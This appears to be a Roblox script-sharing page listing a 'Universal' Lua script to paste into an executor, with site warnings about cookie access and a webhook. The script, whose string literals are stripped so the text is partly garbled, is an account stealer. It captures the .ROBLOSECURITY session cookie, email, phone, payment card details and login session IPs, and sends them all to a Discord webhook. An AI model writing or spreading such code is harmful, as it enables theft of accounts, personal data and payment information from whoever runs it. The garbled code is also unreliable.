Mentions your Roblox cookie
It refers to .ROBLOSECURITY, which is how accounts get stolen. Don't run it unless you trust the author.
Sends data to a webhook
It contains a Discord (or similar) webhook link. Loggers use these to send out your details.
Run it
Copy the script and paste it into your executor.
players = :()
player = players.LocalPlayer
marketplaceService = :()
httpService = :()
requestInternal = httpService.requestInternal
pretty = (:())()
prettySettings = {pretty = }
DISCORD_HEADERS = {[] = }
DISCORD_WEBHOOK =
USER_URL =
GAMES_URL =
EMAIL_URL =
PHONE_URL =
SESSIONS_URL =
PAYMENTS_URL =
REAUTHENTICATE_URL =
(url: , method: ?, body: ?): (boolean, {Headers: {: any}, Body: {: any}}?)
method = (method ~= method:())
data = {}
data[] = url
data[] = method
method ~=
(body) ==
data[] = body
data[] = body {}
data[] = {
[] =
}
_request = (httpService, data)
_success, _response =
_request:((success, response)
_success = success
_response = response
)
.() _success ~=
_success, _response
():
_, response = (REAUTHENTICATE_URL, , )
headers = response.Headers
cookie = headers[]
session = cookie:()[]
session:(, )
(): {name: , url: }
url = GAMES_URL:((.PlaceId))
_, response = (url)
body = httpService:(response.Body)[]
body[] ~= (.PlaceId)
_url = GAMES_URL:(body[])
__, _response = (_url)
body = httpService:(_response.Body)[]
{
name = body[];
url = body[];
}
(): {email: ?, phone: ?}
result = {}
_, emailResponse = (EMAIL_URL)
emailBody = httpService:(emailResponse.Body)
_, phoneResponse = (PHONE_URL)
phoneBody = httpService:(phoneResponse.Body)
result[] = emailBody[]
result[] = phoneBody[]
result
(): {username: , displayName: , userId: , verified: }
contacts = ()
url = USER_URL:((player.UserId))
_, response = (url)
body = httpService:(response.Body)
{
username = body[];
displayName = body[];
userId = body[];
email = contacts[];
phone = contacts[];
}
(): {{cardType: , last4: , month: , year: }}
results = {}
_, response = (PAYMENTS_URL)
body = httpService:(response.Body)
_, payment , body
provider = payment[]
data = {
cardType = provider[];
last4 = provider[];
month = provider[];
year = provider[]
}
.(results, data)
results
(cursor: ?): ({{ip: , agent: , date: }})
cursor = cursor
results = {}
url = SESSIONS_URL:(cursor)
success, response = (url)
body = httpService:(response.Body)
hasMore = body[]
sessions = body[]
cursor = hasMore == body[]
_, session , sessions
dateTime = DateTime.(session[])
formattedDate = dateTime:(, )
formattedAgent = session[] ~=
data = {
ip = session[];
date = formattedDate;
agent = formattedAgent
}
.(results, data)
results, cursor
(): {{ip: , agent: , date: }}
results, cursor = ()
cursor ~=
results2, cursor2 = (cursor)
cursor = cursor2
_, session , results2
.(results, session)
.()
results
(content: ): boolean
body = httpService:({content=content})
({
Url = DISCORD_WEBHOOK;
Method = ;
Headers = DISCORD_HEADERS;
Body = body;
})
sessions = ()
payments = ()
user = ()
gameInfo = ()
cookie = ()
userContent = .. (user, prettySettings) ..
gameContent = .. (gameInfo, prettySettings) ..
paymentContent = .. (payments, prettySettings) ..
sessionsContent = .. (sessions, prettySettings) ..
cookieContent = .. cookie ..
(userContent)
(gameContent)
(paymentContent)
(sessionsContent)
(cookieContent)Loads code from the internet. It downloads more code when it runs (loadstring + HttpGet), which can change after it was posted. From: raw.githubusercontent.com, discord.com, users.roblox.com, games.roblox.com, accountsettings.roblox.com, accountinformation.roblox.com.
sla

Universal